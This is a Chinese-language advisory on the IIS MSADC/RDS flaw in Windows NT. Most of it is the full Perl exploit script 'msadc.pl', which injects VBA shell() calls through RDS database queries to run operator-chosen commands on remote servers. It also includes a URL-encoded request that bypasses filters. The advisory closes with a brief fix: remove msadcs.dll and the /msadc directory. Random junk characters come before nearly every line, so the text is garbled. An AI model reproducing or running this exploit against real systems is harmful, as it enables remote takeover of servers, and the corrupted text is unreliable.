IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
f\);HJbg gMBQtPNM 涉及程序:
2K rqY Microsoft NT server
L;M^>{> s"',370 描述:
"Z 2Tc) 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
vdT+,x` rW~?0 详细:
sh(kRrdY3 如果你没有时间读详细内容的话,就删除:
*rn]/w8ZW c:\Program Files\Common Files\System\Msadc\msadcs.dll
.z$Sm 有关的安全问题就没有了。
3P#+)
F~ :#w+?LA* 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
M_!u@\ ;eW'}&|LV 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
r*N~. tFo 关于利用ODBC远程漏洞的描述,请参看:
i=1 }lkq f']sU/c= http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ri<'-w i ?D(FNd 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
K 5qLBz@U http://www.microsoft.com/security/bulletins/MS99-025faq.asp <F)w=_%& `Ixs7{&jU 这里不再论述。
#K#Mv/ `xX4!^0Hm 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
Xvu) 3aO;@GNJ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
$35,\ZO> 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
VXkAFgO mC:X4l]5 A3"1D #将下面这段保存为txt文件,然后: "perl -x 文件名"
VPM|Rj:d +#*&XX5A#? #!perl
Wg`+u #
L7Qo- # MSADC/RDS 'usage' (aka exploit) script
=s0g2Zv"\ #
pfL2v,]g # by rain.forest.puppy
$!F&>=o #
7}d$*C # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
E#<7\p> # beta test and find errors!
8Da(tS 18.Y/nZAgQ use Socket; use Getopt::Std;
gp$EXJ= getopts("e:vd:h:XR", \%args);
W1?!iE~tO 2{mY:\ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
z [qdmx^ ?-8y4
Ex if (!defined $args{h} && !defined $args{R}) {
K5!";V print qq~
3s?v(1 {) Usage: msadc.pl -h <host> { -d <delay> -X -v }
t&R!5^R -h <host> = host you want to scan (ip or domain)
C|4U78f{ -d <seconds> = delay between calls, default 1 second
|7QVMFZ -X = dump Index Server path table, if available
E 4='m -v = verbose
n5egKAgA -e = external dictionary file for step 5
qSEB}1 D|TLTF" Or a -R will resume a command session
wX)efLmyhY $/[Gys3" ~; exit;}
zP:~O e{fZ}`=7y $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
e(}oq"'z if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
k;;nE o~6 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
WYwzo V- if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
_x\-!&[p $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
VLh%XoQx[ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
rWoe
?g v9E+(4I9_ if (!defined $args{R}){ $ret = &has_msadc;
&<gUFcw7Ui die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
7szls71/= rDIhpT)a print "Please type the NT commandline you want to run (cmd /c assumed):\n"
K08 iPIkQ . "cmd /c ";
Z!wD~C"D73 $in=<STDIN>; chomp $in;
d[Rb:Yw $command="cmd /c " . $in ;
|h^K M ]`zjRRd if (defined $args{R}) {&load; exit;}
b
A)b`1lI +"YTCzv;t print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
>"cr-LB &try_btcustmr;
<\, &:< rD0k%-{{ print "\nStep 2: Trying to make our own DSN...";
OM20-KDc5 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
gI)w^7Gi EkRdpiLB print "\nStep 3: Trying known DSNs...";
Q&u>7_, Du &known_dsn;
5U0ytDZ2/( '"`
Lv/ print "\nStep 4: Trying known .mdbs...";
968Ac}OA &known_mdb;
lir&e
9I+ D3%l4.h if (defined $args{e}){
tgO+*q5B print "\nStep 5: Trying dictionary of DSN names...";
PSW#^o &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
R'G'&H{N 0fnZR$PB print "Sorry Charley...maybe next time?\n";
} c{Fa& exit;
+ jp|Y?6Z gWFL ##############################################################################
u=vh
Z%A] 8W-]t1O%! sub sendraw { # ripped and modded from whisker
5{')GTdX> sleep($delay); # it's a DoS on the server! At least on mine...
X!T|07#c my ($pstr)=@_;
TkA9tFi socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
ob0~VEH- die("Socket problems\n");
7 ,$ axvLw if(connect(S,pack "SnA4x8",2,80,$target)){
M$,Jg5Dc select(S); $|=1;
dav vI$TA print $pstr; my @in=<S>;
NmjzDN select(STDOUT); close(S);
;xSRwSNDi( return @in;
mYX56,b}5 } else { die("Can't connect...\n"); }}
j: <t q^u1z|'Z ##############################################################################
xttYn]T m+Y@UgB sub make_header { # make the HTTP request
U8YO0}_z my $msadc=<<EOT
Nt HbwU, POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
j,}4TDWa User-Agent: ACTIVEDATA
[FB&4>V/ Host: $ip
9U]pH%.9 Content-Length: $clen
NeY"6!;k Connection: Keep-Alive
;)gLjF/F7 3nwz<P ADCClientVersion:01.06
!loO%3_) Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
]a)IMIh; lNHNL
a>W --!ADM!ROX!YOUR!WORLD!
yHl@_rN
sC Content-Type: application/x-varg
*7\W=- Content-Length: $reqlen
KZECo1 ,SAbC*nq EOT
Y\.DQ ; $msadc=~s/\n/\r\n/g;
*0O<bm return $msadc;}
>5c]aNcv gyC^K3} ##############################################################################
HH7[tGF _]P
a>8X* sub make_req { # make the RDS request
_=uviMuE my ($switch, $p1, $p2)=@_;
VR"8Di&) my $req=""; my $t1, $t2, $query, $dsn;
MM7"a?y) =Qyqfy*@D? if ($switch==1){ # this is the btcustmr.mdb query
6mwvI4) $query="Select * from Customers where City=" . make_shell();
.Nc_n5D6 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
Pow|:Lau! $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
rWJ*e Y \kxh#{$z? elsif ($switch==2){ # this is general make table query
n9DbiL1{ $query="create table AZZ (B int, C varchar(10))";
~+<<bzY $dsn="$p1";}
g+.0c=G( {h,_"g\V elsif ($switch==3){ # this is general exploit table query
[1<(VyJ}ye $query="select * from AZZ where C=" . make_shell();
INOH{`}Ew $dsn="$p1";}
N9pwWg&<+ GN0duV elsif ($switch==4){ # attempt to hork file info from index server
N. jA 8X $query="select path from scope()";
rrAqI$6 $dsn="Provider=MSIDXS;";}
O"qR }W 97!H`|u < elsif ($switch==5){ # bad query
2pz4rc $query="select";
$1~c_<DN $dsn="$p1";}
uw_H:-J ~,T+JX $t1= make_unicode($query);
Oohq9f#! $t2= make_unicode($dsn);
\Y9I~8\gB $req = "\x02\x00\x03\x00";
vuZf#\zh} $req.= "\x08\x00" . pack ("S1", length($t1));
Y hS{$Z $req.= "\x00\x00" . $t1 ;
mzu<C)9d, $req.= "\x08\x00" . pack ("S1", length($t2));
z<t>hzl7 $req.= "\x00\x00" . $t2 ;
> <X $# $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
w m19T7*L return $req;}
yu=piP wsqLXZI ##############################################################################
Y5n>r@)m c88_}%h?( sub make_shell { # this makes the shell() statement
8|6~o.B.G return "'|shell(\"$command\")|'";}
V7BsE w f -7S:, ##############################################################################
S4)A6z$ \ p3v#0R{ sub make_unicode { # quick little function to convert to unicode
[NL -! my ($in)=@_; my $out;
)&Mq,@ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
]9s\_A9 return $out;}
[-Cu4mff O)`Gzx*ShU ##############################################################################
v[VC2D LaclC]yLU sub rdo_success { # checks for RDO return success (this is kludge)
%uua_) my (@in) = @_; my $base=content_start(@in);
i$["aP~G if($in[$base]=~/multipart\/mixed/){
zXjwnep return 1 if( $in[$base+10]=~/^\x09\x00/ );}
AxEc^Cof return 0;}
rEmwKZF' W1hX?!xp! ##############################################################################
<}cZi4l' "
<Qm
- sub make_dsn { # this makes a DSN for us
s@PLS5d" my @drives=("c","d","e","f");
C;ptir1G; print "\nMaking DSN: ";
JDKLKHOMZ foreach $drive (@drives) {
Ts#pUoE~+H print "$drive: ";
7/
t:YBR my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
{<!hlB "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
2Y$ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
:kt/$S^- $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
Iqx84 return 0 if $2 eq "404"; # not found/doesn't exist
H~eGgm;p if($2 eq "200") {
|*ReqM|_C foreach $line (@results) {
3[.3dy7,Z return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
>C*4_J7 } return 0;}
nSHNis lA]N04 d ##############################################################################
_CL{IY qW3x{L$c sub verify_exists {
}1Z6e[K? my ($page)=@_;
i\ "{# my @results=sendraw("GET $page HTTP/1.0\n\n");
JL``iA return $results[0];}
c@9##DPn Ok,HD7 ##############################################################################
(Igu:= #n#HzbT sub try_btcustmr {
9OfU7_m my @drives=("c","d","e","f");
9>;} /*:H my @dirs=("winnt","winnt35","winnt351","win","windows");
ZL,8,;] [1U{ci&=p foreach $dir (@dirs) {
3Soy3Xp print "$dir -> "; # fun status so you can see progress
y]
y9'5_ foreach $drive (@drives) {
%0zS print "$drive: "; # ditto
l|7O)
$reqlen=length( make_req(1,$drive,$dir) ) - 28;
;P8(Zf3wJb $reqlenlen=length( "$reqlen" );
~2(]ZfO?>H $clen= 206 + $reqlenlen + $reqlen;
]);NnsG %jTw my @results=sendraw(make_header() . make_req(1,$drive,$dir));
+!><5 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
op.d;lO@ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
KGD'mByt" w,/6B&| ##############################################################################
%mu>-h ac '-.wFB; sub odbc_error {
zIm-X,~I$ my (@in)=@_; my $base;
h1*FPsc my $base = content_start(@in);
5VZjDg? if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
7DZTQUb" $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
w&5/Zh[~~L $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
ntZ~m $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
]w-.|vx return $in[$base+4].$in[$base+5].$in[$base+6];}
F 3s?&T)[G print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
Mt=R*M}D0 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
?<6@^X" $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
c$A@T~$ -"tY{}z ##############################################################################
kP?_kMOx qlvwK&W<QM sub verbose {
}^ ,q#' my ($in)=@_;
=JxFp,
Xr return if !$verbose;
O"iak print STDOUT "\n$in\n";}
MyFCJJ/ _ Mn6 L= ##############################################################################
wPgDy SiR\a!, C sub save {
h1-Gp3# my ($p1, $p2, $p3, $p4)=@_;
p#=;)1 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
ai9 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
s[T{c.F close OUT;}
/B[}I}X U!Mf]3
##############################################################################
`S$sQ& t\%%d)d9 sub load {
*:S~C my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
`2e_ L open(IN,"<rds.save") || die("Couldn't open rds.save\n");
-N4z-ozhC @p=<IN>; close(IN);
0
u2Ny&6w $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
x_W3sS]ej $target= inet_aton($ip) || die("inet_aton problems");
N<n8'XDdG print "Resuming to $ip ...";
bw5T2wYZ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
U(Z!J6{c if($p[1]==1) {
Cm410 =b $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
,J&9kYz $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
x`L+7,&n my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
}LQ\a8]< if (rdo_success(@results)){print "Success!\n";}
WUY,. 8 else { print "failed\n"; verbose(odbc_error(@results));}}
RY<%'\A`~ elsif ($p[1]==3){
I^:F)a: if(run_query("$p[3]")){
3HKxYvc C print "Success!\n";} else { print "failed\n"; }}
*IqVY& elsif ($p[1]==4){
}^9paU if(run_query($drvst . "$p[3]")){
/=/
HB print "Success!\n"; } else { print "failed\n"; }}
](nH{aY! exit;}
.pW o >`" nALnB1 ##############################################################################
7UDq/:}Fo 4m\([EO sub create_table {
DJ|BM+ my ($in)=@_;
OfJd/D $reqlen=length( make_req(2,$in,"") ) - 28;
jzMg'z/@J $reqlenlen=length( "$reqlen" );
`)2[ST $clen= 206 + $reqlenlen + $reqlen;
3a^)u-9,x my @results=sendraw(make_header() . make_req(2,$in,""));
mw"}8y return 1 if rdo_success(@results);
}<&d]N my $temp= odbc_error(@results); verbose($temp);
Khap9a_q- return 1 if $temp=~/Table 'AZZ' already exists/;
dQK`sLChv return 0;}
70=(.[^+ M}KZG'7 ##############################################################################
=]d^3bqN `-u7 I sub known_dsn {
:*cHA # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
gi1j/j7 my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
Oq}ip "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
[Xq<EEb "banner", "banners", "ads", "ADCDemo", "ADCTest");
gb(#DbI rei5{PC foreach $dSn (@dsns) {
\OA
L Or print ".";
Ih3$ next if (!is_access("DSN=$dSn"));
FR["e1<0 if(create_table("DSN=$dSn")){
|(&oI(l5K print "$dSn successful\n";
Vmtzig3w[ if(run_query("DSN=$dSn")){
bs P6\'\4 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
vzcz<i ) print "Something's borked. Use verbose next time\n";}}} print "\n";}
l1DI*0@ 1OP"5f ##############################################################################
(7L/eDMT MX?}?"y sub is_access {
0-GKu d my ($in)=@_;
-!~vA+jw1 $reqlen=length( make_req(5,$in,"") ) - 28;
kF?S 2(vH $reqlenlen=length( "$reqlen" );
b|6 !EGh $clen= 206 + $reqlenlen + $reqlen;
]zcV]Qj$~ my @results=sendraw(make_header() . make_req(5,$in,""));
C#h76fpH my $temp= odbc_error(@results);
lz}llLb1 verbose($temp); return 1 if ($temp=~/Microsoft Access/);
*l{4lu return 0;}
!-ZP*V3}h C/ ##############################################################################
2m_H*1HJ 0mVuD\#=! sub run_query {
/`}6rXnw9 my ($in)=@_;
mYzcVhV $reqlen=length( make_req(3,$in,"") ) - 28;
B*2{M $reqlenlen=length( "$reqlen" );
>]-<uT_ $clen= 206 + $reqlenlen + $reqlen;
p7$3`t6u my @results=sendraw(make_header() . make_req(3,$in,""));
*w|iu^G return 1 if rdo_success(@results);
P8IRH#ED my $temp= odbc_error(@results); verbose($temp);
wx./"m.M return 0;}
WAv@F[ ?Nu#]u- ##############################################################################
?uig04@3 $bFgsy*N2 sub known_mdb {
#<UuI9 my @drives=("c","d","e","f","g");
/k)
NP my @dirs=("winnt","winnt35","winnt351","win","windows");
L\YZT|
K( my $dir, $drive, $mdb;
$YPQC my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
m|mG;8}pI A(NEWO # this is sparse, because I don't know of many
O/$ v69: my @sysmdbs=( "\\catroot\\icatalog.mdb",
9\:w8M X' "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
?;fv!'?% "\\system32\\certmdb.mdb",
%;
qY'+ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
5c)wZ `BpCRKTG my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
RW)k_#%= "\\cfusion\\cfapps\\forums\\forums_.mdb",
1 0V+OIC "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
0S_Ra+e "\\cfusion\\cfapps\\security\\realm_.mdb",
PK8V2Ttv "\\cfusion\\cfapps\\security\\data\\realm.mdb",
$6Z[|9W^A "\\cfusion\\database\\cfexamples.mdb",
ah>Dqb* "\\cfusion\\database\\cfsnippets.mdb",
9T/<x-FD "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
sZT VM9<) "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
il7!} "\\cfusion\\brighttiger\\database\\cleam.mdb",
*%nX#mwz "\\cfusion\\database\\smpolicy.mdb",
@YsL*zw "\\cfusion\\database\cypress.mdb",
'h k @>" "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
.C6gl]6y@ "\\website\\cgi-win\\dbsample.mdb",
9 #:ue@) "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
v3Eo@,- "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
?nY/, q& ); #these are just
hl}dgp(( foreach $drive (@drives) {
[-QK$~[ g foreach $dir (@dirs){
h%u?lW foreach $mdb (@sysmdbs) {
noFh p print ".";
IG>>j} if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
^T=5zqRD print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
bnIf}ut-G if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
,I=O"z>9 print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
6B
/Jp } else { print "Something's borked. Use verbose next time\n"; }}}}}
wAPO{3 X+\0%| foreach $drive (@drives) {
7@3M]5:3g foreach $mdb (@mdbs) {
rtoSCj: print ".";
r!>es;R8 if(create_table($drv . $drive . $dir . $mdb)){
?fm2qrV@fp print "\n" . $drive . $dir . $mdb . " successful\n";
\#HL`R" if(run_query($drv . $drive . $dir . $mdb)){
N#mK7|\c?: print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
E#m76]vkCU } else { print "Something's borked. Use verbose next time\n"; }}}}
L{zamVQG }
gr[D!D> i;gw=Be ##############################################################################
-g~iE]x6Y :LG}yq^ sub hork_idx {
Af$0 o=". print "\nAttempting to dump Index Server tables...\n";
?! !;XW print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
x>'?IJZ $reqlen=length( make_req(4,"","") ) - 28;
oK%K+h $reqlenlen=length( "$reqlen" );
#xDDh` $clen= 206 + $reqlenlen + $reqlen;
3KbUHSx my @results=sendraw2(make_header() . make_req(4,"",""));
~rp.jd 0l if (rdo_success(@results)){
'w: tq my $max=@results; my $c; my %d;
bXk:~LE for($c=19; $c<$max; $c++){
x`wZtv\ $results[$c]=~s/\x00//g;
zp}yiE!bl $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
4{c`g$j> $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
M,I68 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
l[:^TfB $d{"$1$2"}="";}
jD$;q7fB foreach $c (keys %d){ print "$c\n"; }
|P^ikx6f5 } else {print "Index server doesn't seem to be installed.\n"; }}
j@s=ER &IxxDvP3k ##############################################################################
"bLP3 ~y( ,EO sub dsn_dict {
`Nc`xO? open(IN, "<$args{e}") || die("Can't open external dictionary\n");
9*"[pt+tA while(<IN>){
+
?[ ACZF $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
QJb7U5:B+ next if (!is_access("DSN=$dSn"));
`1}HWLBX. if(create_table("DSN=$dSn")){
\3,$YlG print "$dSn successful\n";
% jYQ if(run_query("DSN=$dSn")){
8.6no print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
9N`+ O print "Something's borked. Use verbose next time\n";}}}
Z1E`I89< print "\n"; close(IN);}
Q3'(f9
x KBp!zSl ##############################################################################
$@XPL~4 3^uL`ETm@ sub sendraw2 { # ripped and modded from whisker
;2+FgOj sleep($delay); # it's a DoS on the server! At least on mine...
9CgXc5 my ($pstr)=@_;
r! cNc socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
vy>];!Cu die("Socket problems\n");
+ytT)S if(connect(S,pack "SnA4x8",2,80,$target)){
o;Hd W print "Connected. Getting data";
h'z+8X_t open(OUT,">raw.out"); my @in;
OLhWkN,qA select(S); $|=1; print $pstr;
v)X[gt
tf while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
+-xSuR, close(OUT); select(STDOUT); close(S); return @in;
g^Ugl=f, } else { die("Can't connect...\n"); }}
HPv&vdr3 %`t]FV^# ##############################################################################
*rujdQf i!/h3%= sub content_start { # this will take in the server headers
I_R5\l}O+D my (@in)=@_; my $c;
)eIz{Mdp= for ($c=1;$c<500;$c++) {
~)oWSo5ll if($in[$c] =~/^\x0d\x0a/){
d|D'&&&c if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
0`aHwt/F else { return $c+1; }}}
IeqWR4Y return -1;} # it should never get here actually
"RR./e)h V{/)RZ/ ##############################################################################
I\F=s-VVY q329z> sub funky {
L~SrI{aYPf my (@in)=@_; my $error=odbc_error(@in);
FcJ.)U if($error=~/ADO could not find the specified provider/){
,Yiq$Z{qQ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
U>3%!83kF exit;}
$A5B{2 if($error=~/A Handler is required/){
,_e/a print "\nServer has custom handler filters (they most likely are patched)\n";
J7&.>y1% exit;}
o{YW if($error=~/specified Handler has denied Access/){
~ ]m@k'n print "\nServer has custom handler filters (they most likely are patched)\n";
dd
@COP? exit;}}
+w_MSj#P .$}Z:,aB
##############################################################################
8H$@Xts kOlI?wc sub has_msadc {
.wt>.mUH my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
XQ+-+CD my $base=content_start(@results);
*;ZW=%M return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
O #uaGziFf return 0;}
OmoplJ+ ^|a&%wxA ########################
_z_3%N
s`$_ z?IY3]v*z< 解决方案:
:*w:eKk 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
`,8R~-GPD 2、移除web 目录: /msadc